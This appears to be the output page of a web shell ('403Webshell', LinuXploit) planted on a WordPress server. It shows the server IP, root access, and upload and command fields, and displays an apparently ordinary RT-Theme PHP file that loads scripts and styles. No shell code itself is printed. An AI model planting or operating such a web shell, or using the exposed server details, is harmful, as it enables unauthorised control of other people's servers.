403Webshell
Server IP : 216.250.13.251  /  Your IP : 216.73.216.237
Web Server : nginx/1.24.0
System : Linux gunay 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : root ( 0)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/gunay/wp-content/themes/rttheme19/rt-framework/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/gunay/wp-content/themes/rttheme19/rt-framework/classes/theme.php
<?php
#-----------------------------------------
#	RT-Theme theme.php
#	version: 1.2
#-----------------------------------------

#
#	Site Class
#
 
class RTThemeSite extends RTTheme {
 
	function theme_init(){ 

		//Loading Theme Scripts
		add_action('wp_enqueue_scripts', array(&$this,'load_scripts'));		
		add_action('wp_enqueue_scripts', array(&$this,'custom_js'));

		//Loading Theme Styles
		add_action('wp_enqueue_scripts', array(&$this,'load_styles'),10);

		//Loading WP Style
		add_action('wp_enqueue_scripts', array(&$this,'load_wp_style'),20);

		//Loading Google Fonts 
		add_action('wp_enqueue_scripts', array(&$this,'rt_load_external_fonts'),40);	

		//Load Typekit Fonts 
		add_action('wp_enqueue_scripts', array(&$this,'rt_load_typekit_fonts'),1); 

		//Remove no-js
		add_action('wp_head', array(&$this,'rt_page_loading'),1);

		//Loading html5_shiv
		add_action('wp_head', array(&$this,'add_html5_shiv'));  

		//Loading html5_shiv
		add_action('wp_head', array(&$this,'add_ie9_filter'));  

	}  


	#
	# Loading Theme Scripts
	#
	
	function load_scripts(){

		$theme_data = rt_get_theme();
		$theme_version = $theme_data->get("Version");

		if( ! get_theme_mod(RT_THEMESLUG.'_optimize_js') ){
			wp_enqueue_script('pace', RT_THEMEURI  . '/js/pace.js', 1, $theme_version, false );
			wp_enqueue_script('modernizr', RT_THEMEURI  . '/js/modernizr.min.js', 1, $theme_version, false );
			wp_enqueue_script('bootstrap', RT_THEMEURI  . '/js/bootstrap.min.js', array('jquery'), $theme_version, true );
			wp_enqueue_script('imagesloaded', RT_THEMEURI . '/js/imagesloaded.min.js', array('jquery'),  $theme_version, true );
			wp_enqueue_script('owl-carousel', RT_THEMEURI . '/js/owl.carousel.min.js', array('jquery'),  $theme_version, true );
			wp_enqueue_script('jflickrfeed', RT_THEMEURI . '/js/jflickrfeed.min.js', array('jquery'),  $theme_version, true );
			wp_enqueue_script('jquery-isotop', RT_THEMEURI . '/js/isotope.pkgd.min.js', array('jquery'),  $theme_version, true );	
			wp_enqueue_script('customselect', RT_THEMEURI . '/js/customselect.min.js', array('jquery'),  $theme_version, true );
			wp_enqueue_script('lightgallery', RT_THEMEURI  . '/js/lightgallery-all.min.js', array('jquery'), $theme_version, true  );
			wp_enqueue_script('placeholder_polyfill', RT_THEMEURI  . '/js/placeholders.min.js', array('jquery'), $theme_version, true );
			wp_enqueue_script('waypoints', RT_THEMEURI  . '/js/waypoints.min.js', array('jquery'), $theme_version, true );
			wp_enqueue_script('jquery-vide', RT_THEMEURI  . '/js/jquery.vide.min.js', array('jquery'), $theme_version, true ); 

			if( $GLOBALS['rt_layout'] == "layout3" || $GLOBALS['rt_layout'] == "layout4" ){
				wp_enqueue_script('perfect-scrollbar', RT_THEMEURI  . '/js/perfect-scrollbar.jquery.min.js', array('jquery'), $theme_version, true );
				wp_enqueue_script('TweenLite', RT_THEMEURI  . '/js/TweenLite.min.js', 10000, $theme_version, true );
			}

			wp_enqueue_script('mediaelement');
			wp_enqueue_script('rt-theme-scripts', RT_THEMEURI  . '/js/'. $GLOBALS['rt_layout'] .'/scripts.js', 10000, $theme_version, true );
		}else{
			wp_enqueue_script('mediaelement');
			wp_enqueue_script('rt-theme-scripts', RT_THEMEURI . '/js/'. $GLOBALS['rt_layout'] .'/app.min.js', array('jquery'), $theme_version, true );
		}	

		//ajax url depended WPML plugin
		$ajax_url = function_exists('icl_object_id') ? admin_url('admin-ajax.php?lang='.ICL_LANGUAGE_CODE.'') : admin_url('admin-ajax.php');

		//localize js params
		$js_params = array(
				'ajax_url'              => $ajax_url,
				'rttheme_template_dir'  => RT_THEMEURI,
				'popup_blocker_message' => esc_html_x('Please disable your pop-up blocker and click the "Open" link again.','Frontend Text','rt_theme'),
				'wpml_lang'             =>	rt_wpml_get_current_language(),
				"theme_slug"            => RT_THEMESLUG,
				"home_url"              => apply_filters( 'wpml_home_url', home_url() ),
				"page_loading" 			=> get_theme_mod( RT_THEMESLUG.'_page_loading_effect' ),
				"page_leaving" 			=> get_theme_mod( RT_THEMESLUG.'_page_leaving_effect' )
		);

		wp_localize_script( 'rt-theme-scripts', 'rt_theme_params', $js_params );

		//thread comments
		if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
			wp_enqueue_script( 'comment-reply' );
		}

	}

	/**
	 * Custom JS
	 */
	function custom_js(){

		$custom_js = get_option( RT_THEMESLUG."_user_custom_js" );

		if( empty( $custom_js ) ){
			return;
		}

		wp_add_inline_script( 'rt-theme-scripts', stripcslashes($custom_js), "before" );
	}


	#
	# Replace no-js class with js
	# It must be inline script to prevent flickering
	#
	function rt_page_loading() { 
		echo '<script type="text/javascript">/*<![CDATA[ */ var html = document.getElementsByTagName("html")[0]; html.className = html.className.replace("no-js", "js"); window.onerror=function(e,f){var body = document.getElementsByTagName("body")[0]; body.className = body.className.replace("rt-loading", ""); var e_file = document.createElement("a");e_file.href = f;console.log( e );console.log( e_file.pathname );}/* ]]>*/</script>'."\n";
	}

	
	#
	# Loading Theme Styles
	#	
	function load_styles(){ 

		$theme_data = rt_get_theme();
		$theme_version = $theme_data->get("Version");
		
		if( ! get_theme_mod(RT_THEMESLUG.'_optimize_css') ){

			wp_register_style('bootstrap', RT_THEMEURI . '/css/'. $GLOBALS['rt_layout'] .'/bootstrap.css','',$theme_version);
			wp_register_style('fontello', rt_locate_media_file( '/css/fontello/css/fontello.css' ),'',$theme_version); 
			wp_register_style('theme-style-all', RT_THEMEURI . '/css/'. $GLOBALS['rt_layout'] .'/style.css','',$theme_version);  
			wp_register_style('jquery-owl-carousel', RT_THEMEURI . '/css/owl-carousel.css','',$theme_version);  
			wp_register_style('lightgallery', RT_THEMEURI . '/css/lightbox/lightgallery.min.css','',$theme_version);			 
			wp_register_style('mediaelement-skin', RT_THEMEURI . '/css/mejs-skin.css','',$theme_version);		  

			if(is_rtl()){
				wp_register_style('theme-style-rtl', RT_THEMEURI . '/css/'. $GLOBALS['rt_layout'] .'/rtl.css','',$theme_version);		  				
			}

			if ( class_exists( 'Woocommerce' ) ) { 				
				wp_register_style('rt-woocommerce', RT_THEMEURI.'/css/woocommerce/rt-woocommerce.css','',$theme_version);
				
				if(is_rtl()){
					wp_register_style('rt-woocommerce-rtl', RT_THEMEURI.'/css/woocommerce/rt-woocommerce-rtl.css','',$theme_version);	
				}

			}

			wp_enqueue_style('bootstrap'); 		
			wp_enqueue_style('theme-style-all');
			wp_enqueue_style('rt-woocommerce');			
			wp_enqueue_style('mediaelement-skin');
			wp_enqueue_style('fontello');  
			wp_enqueue_style('jquery-owl-carousel'); 
			wp_enqueue_style('lightgallery');

			//ie9
			wp_register_style('theme-ie9',RT_THEMEURI . '/css/ie9.css','',$theme_version);
			$GLOBALS['wp_styles']->add_data( 'theme-ie9', 'conditional', 'IE 9' );
			wp_enqueue_style('theme-ie9'); 

			//rtl
			wp_enqueue_style('theme-style-rtl');
			wp_enqueue_style('rt-woocommerce-rtl');

		}else{

			wp_register_style('theme-style-all', RT_THEMEURI . '/css/'. $GLOBALS['rt_layout'] .'/app.min.css','',$theme_version);  	
			wp_register_style('fontello', rt_locate_media_file( '/css/fontello/css/fontello.css' ),'',$theme_version);
			wp_register_style('mediaelement-skin', RT_THEMEURI . '/css/mejs-skin.min.css','',$theme_version);		 

			if(is_rtl()){
				wp_register_style('theme-style-rtl', RT_THEMEURI . '/css/'. $GLOBALS['rt_layout'] .'/rtl.min.css','',$theme_version);		  				
			}

		 	if ( class_exists( 'Woocommerce' ) ) { 
		 		wp_register_style('rt-woocommerce', RT_THEMEURI.'/css/woocommerce/rt-woocommerce.min.css','',$theme_version);

				if(is_rtl()){
					wp_register_style('rt-woocommerce-rtl', RT_THEMEURI.'/css/woocommerce/rt-woocommerce-rtl.min.css','',$theme_version);	
				}		 		
		 	}

			wp_enqueue_style('theme-style-all');  			
			wp_enqueue_style('rt-woocommerce');	
			wp_enqueue_style('mediaelement-skin');		
			wp_enqueue_style('fontello');  
																																				

			//ie9
			wp_register_style('theme-ie9',RT_THEMEURI . '/css/ie9.min.css','',$theme_version);
			$GLOBALS['wp_styles']->add_data( 'theme-ie9', 'conditional', 'IE 9' );
			wp_enqueue_style('theme-ie9'); 		

			//rtl
			wp_enqueue_style('theme-style-rtl');	
			wp_enqueue_style('rt-woocommerce-rtl');			
		}


		//if it is customizer preview window and theme is not activated yet
		if( is_customize_preview() ) {
			if( ! get_theme_mods() ){
				wp_enqueue_style('theme-preview', RT_THEMEURI . '/css/preview-style.css','',$theme_version);	
			}
		}


				
	}


	#
	# Loading WP default stylesheet 
	#	
	function load_wp_style(){ 
			wp_register_style('theme-style', get_bloginfo( 'stylesheet_url' ));		
			wp_enqueue_style('theme-style');
	}

	#
	#   Load Google Fonts
	#
	function rt_load_external_fonts(){

		$selected_fonts = rt_get_selected_fonts_list();

		$group_fonts = array();
		$subsets = array();
		$include_string = "";

		//import google fonts
		foreach( $selected_fonts as $purpose => $data) {
			if( is_array( $data ) && $data["kind"] == "google" ){ //check if it is a google font

				if( ! isset( $group_fonts[ $data["family"] ] ) ){
					$group_fonts[ $data["family"] ] = $data["family"] ;
					$group_fonts[ $data["family"] ] = array();
					$group_fonts[ $data["family"] ]["variants"] = array( $data["variant"] );
				}else{
					array_push( $group_fonts[ $data["family"] ]["variants"] , $data["variant"] );
				}

				$subsets = is_array( $data["subset"] ) ? array_merge( $subsets, $data["subset"] ) : $subsets ;
				
			}
		}

		//create include list
		foreach( $group_fonts as $family => $extend ) {
			$include_string .= ! empty( $include_string ) ? "|" : "";
			$include_string .= $family.':'. implode( ",", array_unique( $extend["variants"] ) ); 			
		}

		$include_string .= ! empty( $subsets ) ? '&subset='. implode( ",", array_unique( $subsets ) ) : "" ; 

		if( ! empty( $include_string ) ){
			$font_url = add_query_arg( 'family', $include_string, "//fonts.googleapis.com/css" );
			wp_enqueue_style( 'rt-google-fonts', $font_url, array(), '1.0.0' );
		}

	}


	#
	#   Load Typekit Fonts
	#
	function rt_load_typekit_fonts(){

		$saved_fonts = unserialize( get_option( RT_THEMESLUG ."_custom_fonts" ) );

		if( empty( $saved_fonts ) || ! is_array( $saved_fonts ) ){
			return;
		}

		$kitids = array(); 

		//collect kitids into an array
		foreach( $saved_fonts as $key => $font) {		

			if( $font["font-type"] != "typekit" ){
				continue;
			}

			$kitids[] = $font["kitid"];
		}

		array_unique($kitids);

		$this->kitids = $kitids;


		if( ! empty( $this->kitids) ){
			//create include list
			foreach( $kitids as $kitid) {
				wp_enqueue_script( "rt-typekit-fonts-".$kitid, '//use.typekit.net/'.$kitid.'.js', 1, "", false); 			
			}
		}		

		add_action('wp_head', array(&$this,'add_typekit_script'));

	}

	#   Add Typekit Script
	#	
	function add_typekit_script(){
		echo '<script type="text/javascript">/*<![CDATA[ */ try{Typekit.load();}catch(e){} /* ]]>*/</script>'."\n";
	}
	

	#
	#  HTML5 SHIV
	# 
	function add_html5_shiv(){ echo "\n".'<!--[if lt IE 9]><script src="'.RT_THEMEURI  . '/js/html5shiv.min.js"></script><![endif]-->'."\n";}


	#
	#  IE 9 FILTER
	# 
	function add_ie9_filter(){ echo '<!--[if gte IE 9]> <style type="text/css"> .gradient { filter: none; } </style> <![endif]-->'."\n";} 

}


?>

Youez - 2016 - github.com/yon3zu
LinuXploit